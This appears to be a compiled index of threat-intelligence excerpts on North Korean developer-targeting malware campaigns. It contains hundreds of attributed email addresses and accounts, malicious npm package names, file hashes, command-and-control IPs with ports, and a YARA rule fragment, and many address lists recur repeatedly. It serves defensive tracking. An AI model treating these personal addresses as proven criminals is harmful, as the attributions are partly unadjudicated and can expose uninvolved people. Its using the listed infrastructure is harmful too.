yuleseraphxyvoi89853@hotmail.com yusufsnz95@hotmail.com…","Read on 20 September 2026 by walking the commit history of every repository on github.com/kryptify, which this index already holds under the heading \"Accounts the researcher addressed to jeremymichael79 and Hakeohiratani\". Tallying the author line on every commit recovers the address the holder configured their git client with, which an account never has to state anywhere. xinzhe1219@outlook.com authored 384 commits on kryptify, commits as \"Kryptify\"; xinzhe1025@hotmail.com authored 13 commits on kryptify, commits as \"Kryptify\". Each is admitted because it commits under a name the account itself uses, the test that separates the holder's own address from the original author of a repository copied in. No persona is attached, because the accounts these were read from carry none: the reporting grouped them without naming an operator, and recovering an address does not supply the name it declined to give.","…https://github.com/billiedox https://github.com/deeplus2021 Email Addresses lucaschang1127@gmail.com xtinc.exp@gmail.com noahsflood908@gmail.com truepartner312@gmail.com motokimasuo89@gmail.com wongaiden812@gmail.com vincenzagiorgi6@gmail.com…","…Year in Review itspeterszabo@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review xylosmontagueujsvt83787@hotmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review ivicastojadin488@gmail.com email malware N/A…","…anonaddy.me xaela.samai@minofangle.org xemiray268@toudrum.com xiao.feng.seniordev@gmail.com xiao19960502@gmail.com xing.liao@decommerce.com xzzfmnxm@tonylian.anonaddy.com yakenichi1026@gmail.com yana.honchar.dvlpr@gmail.com yanel.remmie@minofangle.org yasmoto1995@gmail.com yeknocokko@gufum.com yellowflash2041…","…gle.org xemiray268@toudrum.com xiao.feng.seniordev@gmail.com xiao19960502@gmail.com xing.liao@decommerce.com xzzfmnxm@tonylian.anonaddy.com yakenichi1026@gmail.com yana.honchar.dvlpr@gmail.com yanel.remmie@minofangle.org yasmoto1995@gmail.com yeknocokko@gufum.com yellowflash2041@gmail.com yellowstrawbe…","…stevechendragon@outlook.com #### Ivan Dimov - ivan.dimov.work@gmail.com - ivandimov921016@outlook.com #### Yamamoto Zirou - yamamotoziro.0113@gmail.com - yamamotoziro.0113 - blockchaindeveloper777@gmail.com #### Lucas Steve Moore #### Misc - never08mind25@gmail.com -…","…ov.work@gmail.com kazune.takeda@yahoo.com densyaou@gmail.com zombie.eye.dev@gmail.com stevechendragon@gmail.com stevechendragon@outlook.com yamamotoziro.0113@gmail.com keinakano415@gmail.com lainhong1205@gmail.com jenson.collins@hotmail.com sunshineseo0614@gmail.com watanabeatari@gmail.com sunmoonlee.19900…","…um.com xiao.feng.seniordev@gmail.com xiao19960502@gmail.com xing.liao@decommerce.com xzzfmnxm@tonylian.anonaddy.com yakenichi1026@gmail.com yana.honchar.dvlpr@gmail.com yanel.remmie@minofangle.org yasmoto1995@gmail.com yeknocokko@gufum.com yellowflash2041@gmail.com yellowstrawberry315@gmail.com yeshealer@gm…","…ail.com xiao19960502@gmail.com xing.liao@decommerce.com xzzfmnxm@tonylian.anonaddy.com yakenichi1026@gmail.com yana.honchar.dvlpr@gmail.com yanel.remmie@minofangle.org yasmoto1995@gmail.com yeknocokko@gufum.com yellowflash2041@gmail.com yellowstrawberry315@gmail.com yeshealer@gmail.com yinyingchao4@gmail.c…","…Commit history indicates that these files were uploaded to GitHub in late April 2025 in a commit made by the Git identity Yash-1511 <yash1511@gmail.com> .…","…om xing.liao@decommerce.com xzzfmnxm@tonylian.anonaddy.com yakenichi1026@gmail.com yana.honchar.dvlpr@gmail.com yanel.remmie@minofangle.org yasmoto1995@gmail.com yeknocokko@gufum.com yellowflash2041@gmail.com yellowstrawberry315@gmail.com yeshealer@gmail.com yinyingchao4@gmail.com yks20000601@gmail.c…","…TA427 Network Indicators Indicator Type Description First Seen yasuyuki.ebata21@proton.me Email address Sender email February 2025 eunsoolim29@gmail.com Email address Sender…","…eric2022412@gmail.com - ma.liguo@outlook.com - donatelo212dunccine@gmail.com - ernestpapyan@gmail.com - topsmartpro@prolocalize.com - yatsukalbert@outlook.com - talentdev610@gmail.com - leonpower123@outlook.com - oskardev0112@gmail.com - 88yurchak@gmail.com - github.com/brent-jeremy -…","…velop@gmail.com eric2022412@gmail.com ma.liguo@outlook.com donatelo212dunccine@gmail.com ernestpapyan@gmail.com topsmartpro@prolocalize.com yatsukalbert@outlook.com talentdev610@gmail.com leonpower123@outlook.com oskardev0112@gmail.com 88yurchak@gmail.com Github: https://github.com/brent-jeremy https:/…","…2026-09-17 tailwindcss-forms-ui (0.5.1) 2026-09-17 yavosib606 <yavosib606@jobscai.com> 2026-09-17 hardhat-devkit (2.3.6) 2026-09-17 matthis0291 <ChelsieMatthis9248@outlook.com>…","…2026-09-18 tailwindcss-forms-ui (0.5.2) 2026-09-18 yavosib606 <yavosib606@jobscai.com> stapi.io h.drpc.org e.com et 1r www.w3.org https://et https://1r http://www.w3.org/2000/svg…","…e.com xzzfmnxm@tonylian.anonaddy.com yakenichi1026@gmail.com yana.honchar.dvlpr@gmail.com yanel.remmie@minofangle.org yasmoto1995@gmail.com yeknocokko@gufum.com yellowflash2041@gmail.com yellowstrawberry315@gmail.com yeshealer@gmail.com yinyingchao4@gmail.com yks20000601@gmail.com ymggyymg@sunshine2…","…an.anonaddy.com yakenichi1026@gmail.com yana.honchar.dvlpr@gmail.com yanel.remmie@minofangle.org yasmoto1995@gmail.com yeknocokko@gufum.com yellowflash2041@gmail.com yellowstrawberry315@gmail.com yeshealer@gmail.com yinyingchao4@gmail.com yks20000601@gmail.com ymggyymg@sunshine221.anonaddy.com yoltedortu…","…026@gmail.com yana.honchar.dvlpr@gmail.com yanel.remmie@minofangle.org yasmoto1995@gmail.com yeknocokko@gufum.com yellowflash2041@gmail.com yellowstrawberry315@gmail.com yeshealer@gmail.com yinyingchao4@gmail.com yks20000601@gmail.com ymggyymg@sunshine221.anonaddy.com yoltedortu@gufum.com yonikrs216@gmail.co…","…myronenkoyaroslav4@gmail.com avoroy@biztechadvisors.com katelevsk@gmail.com savonik.alina00@gmail.com purplestrawberrymilk@gmail.com yellowstrawberrymilk@gmail.com bluestrawberrymilk1025@gmail.com pinkstrawberrymilk1025@gmail.com luis.gamez1004@gmail.com cliff.luo226@gmail.com semochkomaksym@gmail…","…pascaldev0921@outlook.com reedfowlerccouj11583@hotmail.com topflite4@freyaglam.shop vrindalseth@gmail.com yelyzavetazaporozhtseva@gmail.com Socket Firewall Blocks risky dependencies before they reach your environment Get Started Free Keep…","…alexstepan0209@gmail.com - kkopbusiness1213@gmail.com - blockchain4webdev@gmail.com - HighleyHilmaU@gmail.com - yemelyan.yevdokimov.domain1121@gmail.com - qiqq-ps@eclipso.eu - illia.butenko89@gmail.com - ddksniper@gmail.com - intellichain555@gmail.com - salbu15154@gmail.com -…","…i51@gmail.com toptalent48@gmail.com alexstepan0209@gmail.com kkopbusiness1213@gmail.com blockchain4webdev@gmail.com HighleyHilmaU@gmail.com yemelyan.yevdokimov.domain1121@gmail.com qiqq-ps@eclipso.eu illia.butenko89@gmail.com ddksniper@gmail.com intellichain555@gmail.com salbu15154@gmail.com goldsea808@gmail.com goldse…","…x.com/soladify github.com/soladify - x.com/SvenDotDev ### microgift88 / krippsat - microgift88 - percy.smith0208@gmail.com - yeniguy28@gmail.com - microgift28@gmail.com - x.com/microgift88 - t.me/microgift88 (ID: 7928438223) - github.com/microgift - microgift.dev - Karol Czerwiński,…","…pr@gmail.com yanel.remmie@minofangle.org yasmoto1995@gmail.com yeknocokko@gufum.com yellowflash2041@gmail.com yellowstrawberry315@gmail.com yeshealer@gmail.com yinyingchao4@gmail.com yks20000601@gmail.com ymggyymg@sunshine221.anonaddy.com yoltedortu@gufum.com yonikrs216@gmail.com yt1997119@gmail.co…","…, michaelb860102@gmail.com , assassinki211@gmail.com , dev.jerryyang@gmail.com , denis.turgenev2021@gmail.com , yesiree.cano825@gmail.com , thomasdenzelbrown@gmail.com , anthonyortega4592@gmail.com , and tyler.j.palmi38@gmail.com .…","…wilderkeatingrmtuw64788@hotmail.com williammorphy37@gmail.com wondereleven1@gmail.com xinrong83@outlook.com yevheniikasymchuk@gmail.com yonismith727@outlook.com yuleseraphxyvoi89853@hotmail.com yusufsnz95@hotmail.com yusufuyn94@hotmail.com zanevlad3@gmail.com…","…email insider N/A N/A Git mirror developer identity 2 tsunaminori@gmail.com email insider N/A N/A Git mirror developer identity 2 yhwucss@gmail.com email insider N/A N/A Git mirror developer identity 2 btrs.corp@gmail.com email insider N/A N/A Git mirror developer identity 2…","…emmie@minofangle.org yasmoto1995@gmail.com yeknocokko@gufum.com yellowflash2041@gmail.com yellowstrawberry315@gmail.com yeshealer@gmail.com yinyingchao4@gmail.com yks20000601@gmail.com ymggyymg@sunshine221.anonaddy.com yoltedortu@gufum.com yonikrs216@gmail.com yt1997119@gmail.com yt9s5x8l@tonyrobert.a…","…13 : Payment Account Selectors Associated with SANS FAB 326 Payment Account Emails aleecn@163.com stefaniezh7@gmail.com yisselmanrique@yahoo.com nmling_624@icloud.com 179546932@qq.com gfraticelli1@gmail.com 326 MSMT Participating State information. Pay ment…","…smoto1995@gmail.com yeknocokko@gufum.com yellowflash2041@gmail.com yellowstrawberry315@gmail.com yeshealer@gmail.com yinyingchao4@gmail.com yks20000601@gmail.com ymggyymg@sunshine221.anonaddy.com yoltedortu@gufum.com yonikrs216@gmail.com yt1997119@gmail.com yt9s5x8l@tonyrobert.anonaddy.com yuan59880@…","…knocokko@gufum.com yellowflash2041@gmail.com yellowstrawberry315@gmail.com yeshealer@gmail.com yinyingchao4@gmail.com yks20000601@gmail.com ymggyymg@sunshine221.anonaddy.com yoltedortu@gufum.com yonikrs216@gmail.com yt1997119@gmail.com yt9s5x8l@tonyrobert.anonaddy.com yuan59880@gmail.com yuanmai212@gmail.com yur…","…• napoleonbgqo0977@gmail.com • kevinsanaraujo@gmail.com • daniel.castagnolii@gmail.com • ashockvaradharajan@gmail.com • yoannturp@gmail.com Th e domains included: • web001-zoom.us • zoomsdk.us • secure-meeting.cloud • video-meeting.cloud •…","…@gmail.com yellowstrawberry315@gmail.com yeshealer@gmail.com yinyingchao4@gmail.com yks20000601@gmail.com ymggyymg@sunshine221.anonaddy.com yoltedortu@gufum.com yonikrs216@gmail.com yt1997119@gmail.com yt9s5x8l@tonyrobert.anonaddy.com yuan59880@gmail.com yuanmai212@gmail.com yurisoeda1013@gmail.com…","…wberry315@gmail.com yeshealer@gmail.com yinyingchao4@gmail.com yks20000601@gmail.com ymggyymg@sunshine221.anonaddy.com yoltedortu@gufum.com yonikrs216@gmail.com yt1997119@gmail.com yt9s5x8l@tonyrobert.anonaddy.com yuan59880@gmail.com yuanmai212@gmail.com yurisoeda1013@gmail.com yussef.israel@marsoak…","…williammorphy37@gmail.com wondereleven1@gmail.com xinrong83@outlook.com yevheniikasymchuk@gmail.com yonismith727@outlook.com yuleseraphxyvoi89853@hotmail.com yusufsnz95@hotmail.com yusufuyn94@hotmail.com zanevlad3@gmail.com zybinanton241@gmail.com…","…email insider N/A N/A Synthetic persona email 2 ivoloucky@gmail.com email insider N/A N/A Synthetic persona email 2 yorgosdulev@gmail.com email insider N/A N/A Synthetic persona email 2 balazspapp@outlook.com email insider N/A N/A Synthetic persona email 2…","…victormolonna510727@outlook.com vitalcityhomes22591@gmail.com westfieldhomeagent66414@gmail.com yorktownhomesales08111@gmail.com yuleyuccaxoiqw85368@outlook.com bohdanstashkiv.bs@outlook.com brimstoneinkwellwugke88241@outlook.com edisonrippin@outlook.com…","…GitHub Users: - yosket Email Addresses: - yosket <yosket87@gmail.com> Domains: - vscode-config.vercel.app ## Variant one - April 23, 2025 - Unique Identifier:…","…viacheslavdanilov889@gmail.com Commits to malicious repository vyommodi@Vyoms-MacBook-Air.local Commits to malicious repository yosket87@gmail.com Commits to malicious repository GitHub Personas View 143 Rows Username Status 0x003-copia Active 1alinaderi…","…that they were looking to hire a developer. On September 26, 2024, an account with the username jaxtonhol and email address ysai@agencyhill99.com posted in the Telegram channel “indeedemploijobeur” that they were looking to hire a developer.…","…eshealer@gmail.com yinyingchao4@gmail.com yks20000601@gmail.com ymggyymg@sunshine221.anonaddy.com yoltedortu@gufum.com yonikrs216@gmail.com yt1997119@gmail.com yt9s5x8l@tonyrobert.anonaddy.com yuan59880@gmail.com yuanmai212@gmail.com yurisoeda1013@gmail.com yussef.israel@marsoak.com yusukenishikado…","…inyingchao4@gmail.com yks20000601@gmail.com ymggyymg@sunshine221.anonaddy.com yoltedortu@gufum.com yonikrs216@gmail.com yt1997119@gmail.com yt9s5x8l@tonyrobert.anonaddy.com yuan59880@gmail.com yuanmai212@gmail.com yurisoeda1013@gmail.com yussef.israel@marsoak.com yusukenishikado@gmail.com yuzheli320@gmail.com z…","…@gmail.com ymggyymg@sunshine221.anonaddy.com yoltedortu@gufum.com yonikrs216@gmail.com yt1997119@gmail.com yt9s5x8l@tonyrobert.anonaddy.com yuan59880@gmail.com yuanmai212@gmail.com yurisoeda1013@gmail.com yussef.israel@marsoak.com yusukenishikado@gmail.com yuzheli320@gmail.com zalina.isobel@minofan…","…sunshine221.anonaddy.com yoltedortu@gufum.com yonikrs216@gmail.com yt1997119@gmail.com yt9s5x8l@tonyrobert.anonaddy.com yuan59880@gmail.com yuanmai212@gmail.com yurisoeda1013@gmail.com yussef.israel@marsoak.com yusukenishikado@gmail.com yuzheli320@gmail.com zalina.isobel@minofangle.org zaza.liveedu@…","…amesdaniel0807@gmail.com rv882866.hstgr.cloud@glitchmedic.com sinbad@hirelytics360.com thedrgn1011@gmail.com trevorgreer9312@gmail.com yudaiaoyama14@gmail.com IP Addresses Value Note 181.215.9.29 Used for account registration and logging into Validin 181.53.13.189 Used for…","…wondereleven1@gmail.com xinrong83@outlook.com yevheniikasymchuk@gmail.com yonismith727@outlook.com yuleseraphxyvoi89853@hotmail.com yusufsnz95@hotmail.com yusufuyn94@hotmail.com zanevlad3@gmail.com zybinanton241@gmail.com Socket Firewall…","…vitalcityhomes22591@gmail.com westfieldhomeagent66414@gmail.com yorktownhomesales08111@gmail.com yuleyuccaxoiqw85368@outlook.com bohdanstashkiv.bs@outlook.com brimstoneinkwellwugke88241@outlook.com edisonrippin@outlook.com erbanfceraswud8px@hotmail.com…","…(5.0.1) 2026-08-10 stellahudson <stellahudson@atomicmail.io> 2026-08-10 runtimekit (1.1.0) 2026-08-10 yuliahrabets <yuliahrabets@gmail.com> eth-mainnet.public.blastapi.io ${o}:80 ${r}:80 ${o}:443 https://eth-mainnet.public.blastapi.io http://${o}:80…","…email insider N/A N/A Threat actor persona email 4 alexei.lee0203@outlook.com email insider N/A N/A Threat actor persona email 4 yuriassasin0603@gmail.com email insider N/A N/A Threat actor persona email 4 luis.lee.tech@gmail.com email insider N/A N/A Threat actor persona email 4…","…fd1ef3edfc6c02581abf6bf69f9e73b19ca8d3ddc915fa51beba648e6c0ae62f 2026-09-18 chai-as-indexed (7.2.8) 2026-09-18 yurii422 <yuriinalyvaiko3@gmail.com> e384bffa5e90fb424deb80e2d4f1edf3984f7372cd38943eb63812055b807d93 2026-09-18 chai-as-buffered (7.2.5) 2026-09-18 foreigner-th…","…com yoltedortu@gufum.com yonikrs216@gmail.com yt1997119@gmail.com yt9s5x8l@tonyrobert.anonaddy.com yuan59880@gmail.com yuanmai212@gmail.com yurisoeda1013@gmail.com yussef.israel@marsoak.com yusukenishikado@gmail.com yuzheli320@gmail.com zalina.isobel@minofangle.org zaza.liveedu@gmail.com zei41207@gmail…","…yonikrs216@gmail.com yt1997119@gmail.com yt9s5x8l@tonyrobert.anonaddy.com yuan59880@gmail.com yuanmai212@gmail.com yurisoeda1013@gmail.com yussef.israel@marsoak.com yusukenishikado@gmail.com yuzheli320@gmail.com zalina.isobel@minofangle.org zaza.liveedu@gmail.com zei41207@gmail.com zgmr07213@gmail.com z…","…xinrong83@outlook.com yevheniikasymchuk@gmail.com yonismith727@outlook.com yuleseraphxyvoi89853@hotmail.com yusufsnz95@hotmail.com yusufuyn94@hotmail.com zanevlad3@gmail.com zybinanton241@gmail.com Socket Firewall Blocks risky…","…yevheniikasymchuk@gmail.com yonismith727@outlook.com yuleseraphxyvoi89853@hotmail.com yusufsnz95@hotmail.com yusufuyn94@hotmail.com zanevlad3@gmail.com zybinanton241@gmail.com Socket Firewall Blocks risky dependencies before they reach your…","…and Locanto clusters varduhimarieta@gmail.com[email protected] buildwithria email Flagged in GitHub community discussion #184838 yusuke.morimoto234@outlook.jp[email protected] Yusuke Morimoto email JP domain signals Japanese persona kawakami615@outlook.com[email protected] Naoki-K615 email…","…97119@gmail.com yt9s5x8l@tonyrobert.anonaddy.com yuan59880@gmail.com yuanmai212@gmail.com yurisoeda1013@gmail.com yussef.israel@marsoak.com yusukenishikado@gmail.com yuzheli320@gmail.com zalina.isobel@minofangle.org zaza.liveedu@gmail.com zei41207@gmail.com zgmr07213@gmail.com zgvenetadze777@gmail.com zh…","…onyrobert.anonaddy.com yuan59880@gmail.com yuanmai212@gmail.com yurisoeda1013@gmail.com yussef.israel@marsoak.com yusukenishikado@gmail.com yuzheli320@gmail.com zalina.isobel@minofangle.org zaza.liveedu@gmail.com zei41207@gmail.com zgmr07213@gmail.com zgvenetadze777@gmail.com zhenya.petrukhin0@gmail…","…dragonrhm0817@gmail.com[email protected] star710928@gmail.com[email protected] yz.demix@gmail.com[email protected] marketing.rep@universalinsuranceplc.com[email protected] shojokur@gmail.com[email protected]…","…- Kim Yong Jin) Emails: --------------------------------- darkb761216@gmail.com dragonrhm0817@gmail.com star710928@gmail.com yz.demix@gmail.com marketing.rep@universalinsuranceplc.com shojokur@gmail.com Personas: --------------------------------- Penguin Ui hong kong Pen…","…m yuan59880@gmail.com yuanmai212@gmail.com yurisoeda1013@gmail.com yussef.israel@marsoak.com yusukenishikado@gmail.com yuzheli320@gmail.com zalina.isobel@minofangle.org zaza.liveedu@gmail.com zei41207@gmail.com zgmr07213@gmail.com zgvenetadze777@gmail.com zhenya.petrukhin0@gmail.com zhijiwang0@gmail.com zhu…","…yonismith727@outlook.com yuleseraphxyvoi89853@hotmail.com yusufsnz95@hotmail.com yusufuyn94@hotmail.com zanevlad3@gmail.com zybinanton241@gmail.com Socket Firewall Blocks risky dependencies before they reach your environment Get…","…385d89ba18fe9b335c0cd4cb220d5f53ff5a581144e25329f12f3784a388e7a3 2026-08-08 chai-jsonss (3.7.7) 2026-08-08 zaydan <zaydanbreezyti@outlook.com> 2db9b5dcbfbcf4fdf6c46042e0d5ea14324f29e0081fa8edd31d48c889e5baa2 2026-08-07 modern-localization (1.2.1) 2026-08-07…","…zaza.liveedu@gmail.com - t.me/trust0212 (ID: 5419192978) • ([Messages](./user-5419192978-@trust0212.txt)) - 0x35FcB352027cdDc632b7aE8a50A0410C5bf36248 ####…","…212@gmail.com yurisoeda1013@gmail.com yussef.israel@marsoak.com yusukenishikado@gmail.com yuzheli320@gmail.com zalina.isobel@minofangle.org zaza.liveedu@gmail.com zei41207@gmail.com zgmr07213@gmail.com zgvenetadze777@gmail.com zhenya.petrukhin0@gmail.com zhijiwang0@gmail.com zhulishen0331@gmail.com zt…","…1013@gmail.com yussef.israel@marsoak.com yusukenishikado@gmail.com yuzheli320@gmail.com zalina.isobel@minofangle.org zaza.liveedu@gmail.com zei41207@gmail.com zgmr07213@gmail.com zgvenetadze777@gmail.com zhenya.petrukhin0@gmail.com zhijiwang0@gmail.com zhulishen0331@gmail.com zt4zj9xb@awork.anonad…","…d1cbd31f1206eae7aad162a346177107442b3dd977019b38c0a0a74f2ebf9fc3 2026-09-05 multicore-kit (1.1.5) 2026-09-05 zekewalker <zeke.walker306@gmail.com> c8e70c5529388c7b9ac82a3dcac35091ccb5c148f963abf8c5af3d33edaf32cc 2026-09-05 array-frames (2.3.4) 2026-09-05 petervanderpool…","…zerobit417 - @zerobit417 - github.com/altbee • [Archive](https://web.archive.org/web/20220625174754/https://github.com/altbee) - zerobit417@gmail.com - linkedin.com/in/james-lee-0977a0217 - linkedin.com/in/justin-lim-14664a324/ - https://www.cake.me/me/james-lee-319683/ -…","…david262721@outlook.com chulovskaolena@outlook.com oleksandrkazadaiev522@gmail.com hera19970204@outlook.com zeus19970204@outlook.com imanwdr30@hotmail.com scarlet112603@outlook.com garnerbrandy1230@gmail.com alexandercruciata11@gmail.com…","…ef.israel@marsoak.com yusukenishikado@gmail.com yuzheli320@gmail.com zalina.isobel@minofangle.org zaza.liveedu@gmail.com zei41207@gmail.com zgmr07213@gmail.com zgvenetadze777@gmail.com zhenya.petrukhin0@gmail.com zhijiwang0@gmail.com zhulishen0331@gmail.com zt4zj9xb@awork.anonaddy.com LEAK…","…m yusukenishikado@gmail.com yuzheli320@gmail.com zalina.isobel@minofangle.org zaza.liveedu@gmail.com zei41207@gmail.com zgmr07213@gmail.com zgvenetadze777@gmail.com zhenya.petrukhin0@gmail.com zhijiwang0@gmail.com zhulishen0331@gmail.com zt4zj9xb@awork.anonaddy.com LEAK…","…stp.walsh33@gmail.com techcare127@gmail.com truepai415@gmail.com truestar222@outlook.com volodimir.work2020@gmail.com zhangming_k@yahoo.com zhuming1116@gmail.com lisettekolson8@gmail.com 312011217@qq.com alhinglovena3000@gmail.com jumphon2103@gmail.com…","…2 ====== johnathon.h.tneg18@gmail.com leptointel213@gmail.com clark.pickles30@proton.me dkwebigo416@gmail.com zhangxu57477@gmail.com kholodroman6@gmail.com hanhd7231@gmail.com artemyaroshenko540@gmail.com ratushniakoleksii8@gmail.com sparukgena@gmail.com joshuagosney.dev.…","…choi.link227@gmail.com: Ryan Choi - bitbaby888@gmail.com - mauro@blueberry.garden (blueChamel) - pwongexcal@gmail.com (0xchamel) - zhaoa4317@gmail.com (zhChameleon) - t.me/chamel92 (ID: 6635242888) • ([Messages](./user-6635242888-@chamel92.txt)) - t.me/lladefa (ID: 1167965872) •…","…2026-09-23 solidity-lock (2.21.0) 2026-09-23 zhekasosnitsky44 <zhekasosnitsky444@gmail.com> 3a7f87ca7f738984bd7918a88da35a9898a491fd969e4ff43e619b25f2394abb 2026-09-23 tailwind-contact-forms (0.5.1) 2026-09-23…","…om yuzheli320@gmail.com zalina.isobel@minofangle.org zaza.liveedu@gmail.com zei41207@gmail.com zgmr07213@gmail.com zgvenetadze777@gmail.com zhenya.petrukhin0@gmail.com zhijiwang0@gmail.com zhulishen0331@gmail.com zt4zj9xb@awork.anonaddy.com LEAK…","…na.isobel@minofangle.org zaza.liveedu@gmail.com zei41207@gmail.com zgmr07213@gmail.com zgvenetadze777@gmail.com zhenya.petrukhin0@gmail.com zhijiwang0@gmail.com zhulishen0331@gmail.com zt4zj9xb@awork.anonaddy.com LEAK…","…David Adachi - davidadachi56@gmail.com - gigazh - dainmoly - davidlucas0402 - jwtradera - zhmolly@proton.me - zhmolly@gigadao.io - github.com/gigazh • [Archive](https://archive.ph/snjV5) - github.com/zhmolly • [Archive](https://archive.ph/80EYH) -…","…List zachxbt/status/1824047425822310580 - David Adachi - davidadachi56@gmail.com - gigazh - dainmoly - davidlucas0402 - jwtradera - zhmolly@proton.me - zhmolly@gigadao.io - github.com/gigazh • [Archive](https://archive.ph/snjV5) - github.com/zhmolly •…","…org zaza.liveedu@gmail.com zei41207@gmail.com zgmr07213@gmail.com zgvenetadze777@gmail.com zhenya.petrukhin0@gmail.com zhijiwang0@gmail.com zhulishen0331@gmail.com zt4zj9xb@awork.anonaddy.com LEAK…","…techcare127@gmail.com truepai415@gmail.com truestar222@outlook.com volodimir.work2020@gmail.com zhangming_k@yahoo.com zhuming1116@gmail.com lisettekolson8@gmail.com 312011217@qq.com alhinglovena3000@gmail.com jumphon2103@gmail.com mobilephetjum@gmail.com…","…/ Sasuke Uchiha - Jaycee Tran - Sasuke Uchiha - jayceetran.cool@gmail.com - special.galaxy26@gmail.com - potter0525james@gmail.com - zoelasa1111@gmail.com - it.galaxy.0315@gmail.com - sasuke031026@gmail.com - f99964995@gmail.com - github.com/newstable - github.com/webgalaxy315 -…","…special.galaxy26@gmail.com[email protected] potter0525james@gmail.com[email protected] zoelasa1111@gmail.com[email protected] it.galaxy.0315@gmail.com[email protected] sasuke031026@gmail.com[email protected] f99964995@gmail.com[email protected]…","…hiha): --------------------------------------------- Emails: jayceetran.cool@gmail.com special.galaxy26@gmail.com potter0525james@gmail.com zoelasa1111@gmail.com it.galaxy.0315@gmail.com sasuke031026@gmail.com f99964995@gmail.com Github: https://github.com/newstable https://github.com/webgalaxy315 h…","…lainhong1205@gmail.com - sunmoonlee.19900113@outlook.com - sunmoonstar0319@outlook.com - superdev0292@gmail.com - zombie.eye.dev@gmail.com - ![](./laos-house.png) - ![](./laos-football.png) - ![](./jenson-collins-01.png) - ![](./jenson-collins-02.png) -…","…outlook.com blockchaindeveloper777@gmail.com seo.shigoto.001@gmail.com ivan.dimov.work@gmail.com kazune.takeda@yahoo.com densyaou@gmail.com zombie.eye.dev@gmail.com stevechendragon@gmail.com stevechendragon@outlook.com yamamotoziro.0113@gmail.com keinakano415@gmail.com lainhong1205@gmail.com jenson.coll…","…email insider N/A N/A Synthetic persona email 2 emilijan.hristov@outlook.com email insider N/A N/A Synthetic persona email 2 zoran.parlov@outlook.com email insider N/A N/A Synthetic persona email 2 ivanmatic.fs@outlook.com email insider N/A N/A Synthetic persona email 2…","…om zei41207@gmail.com zgmr07213@gmail.com zgvenetadze777@gmail.com zhenya.petrukhin0@gmail.com zhijiwang0@gmail.com zhulishen0331@gmail.com zt4zj9xb@awork.anonaddy.com LEAK…","…spot.jk7@gmail.com - mhcrocky@gmail.com - teacheraccount@gmail.com - thinkd.developer@gmail.com - weiyang.jin1202@gmail.com - zuhalvalmerikh@gmail.com - github.com/batmanst - github.com/bigbossphch - github.com/Blue630 - github.com/dotmaker619 - github.com/EliteDev619 -…","…email insider N/A N/A Synthetic persona email 2 vedranpodrug@outlook.com email insider N/A N/A Synthetic persona email 2 zvonkobogdan.cr@outlook.com email insider N/A N/A Synthetic persona email 2 filipdamevski001@gmail.com email insider N/A N/A Synthetic persona email 2…","…yonismith727@outlook.com yuleseraphxyvoi89853@hotmail.com yusufsnz95@hotmail.com yusufuyn94@hotmail.com zanevlad3@gmail.com zybinanton241@gmail.com Socket Firewall Blocks risky dependencies before they reach your environment Get Started Free Keep…","These are the addresses named in a civil forfeiture complaint as property the United States seized or had frozen, drawn from the complaint's Attachment A, which the filing introduces as listing in full every unhosted wallet address from which law enforcement seized funds in this investigation. A forfeiture complaint is an allegation against property rather than a conviction of any person: it states the government's case for why the funds are forfeitable, and the case had not been decided when this was recorded. Presence here says an address was seized or frozen in this action, not that any particular person has been found to have done anything.","…+65.6983.8730 Japan: +81.50.1790.0200 Indicators of Compromise BeaverTail Installer - macOS DMG disk image: 000b4a77b1905cabdb59d2b576f6da1b2ef55a0258004e4a9e290e9f41fb6923 9abf6b93eafb797a3556bea1fe8a3b7311d2864d5a9a3687fce84bc1ec4a428c SHA256 hash for BeaverTail - macOS Mach-O executable file:…","…= \"Detects Lazarus's ZIP file with Go Stealer\" source = \"Sekoia.io\" creation_date = \"2025-03-20\" classification = \"TLP:GREEN\" hash = \"00b7488d87972e9812e94c69385f6839\" strings: $ = { (9A 18| 84 17) 00 00 [4-12] 2F 63 68 72 6F 6D 65 5F 63 6F 6F 6B 69 65 5F 64 61 72 77 69 6E 2E 67 6F} $ = { (BF 05 | 36…","…IP 45.159.248.55 MD5 ef13692228ee8e929c6e2e463b1ec30b 30ed90b4a570d6ff0c29759bfff491c2 01abb0b0fff83bea08eef2a1bd8cb413 9154c7d643e6d762dd1ab1df9125e4ea SHA-256…","…BeaverTail 악성코드 분석 (MD5: 01abb0b0fff83bea08eef2a1bd8cb413) 3.3.…","…| 8 columns Indicators of compromise polinrider-ethereum-c2-iocs.csv |==b>#~,XOR key,3,Decrypts the /0/body response 02b7e072c51ac6f7037c2fd4727fcdb06bee6f74cc1af182f7180d8b5e904d63,SHA-256,3,/boot response from 198.105.127.210 84a3f1bd81ae4780776c93f9a5ec1cb0d7d6fb613f4a104cceaa93568bdbd0ab,SHA-256,3,/0/boot response…","…HTTP header 2 Header on the /boot request 19 YU7m{rE/>|==b>#~ XOR key 3 Decrypts the /0/body response 20 02b7e072c51ac6f7037c2fd4727fcdb06bee6f74cc1af182f7180d8b5e904d63 SHA-256 3 /boot response from 198.105.127.210 Show all 45 rows 45 rows · showing first 20 4 columns Deobfuscated stage…","…(v1.4.5) Trojan.Script.Agent 751F36896A5547C4EAECFF9EC80558CD MD5 chai-as-init-1.4.6.tgz Trojan.Script.Agent 02C31A426801C27D65B02D9E04C28FD4 MD5 initializeCaller.js (v1.4.6) Trojan.Script.Agent 078B18EB695DA94B85D29C94462BA64C MD5 chai-as-init-1.4.7.tgz…","…Sign up Indicators of compromise (IoCs) Binaries /Library/RestoreKey/com.apple.siri.updater MD5: 032E3E9A09F58A5B776C7374FC66D822 SHA1: 97EE87A342C9977383161185DE934B2BE27BD01A SHA256:…","…032E3E9A09F58A5B776C7374FC66D822 SHA1: 97EE87A342C9977383161185DE934B2BE27BD01A SHA256: 036CA0A9D6A87E811F96F3AAADD8D0506954716CDB3B56915FC20859F1363C2F Users/user/Library/com.apple.wifi.updater/Wi-Fi Updater.app/Contents/MacOS/Wi-Fi Updater Signed with an ad-hoc key and Signing ID…","Transcribed by hand on 28 September 2026, because the site refuses the scraper's user agent. The diary analyses a stealer delivered through an npm package, with credential upload on port 8085, file upload on 8086 and a Socket.IO command channel with /api/notify on 8087 of the same address, and states that the address is known as a DPRK OtterCookie command-and-control server, citing Socket's reporting on North Korea's Contagious Interview npm attacks. The address and the sample's SHA-256 are carried; the name extracted-decoded.js is the analyst's own for a decoded copy and is not.","…SHA256 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 SHA1 a90c26e7cbb3440ac1cad75cf351cbedef7744a8 MD5 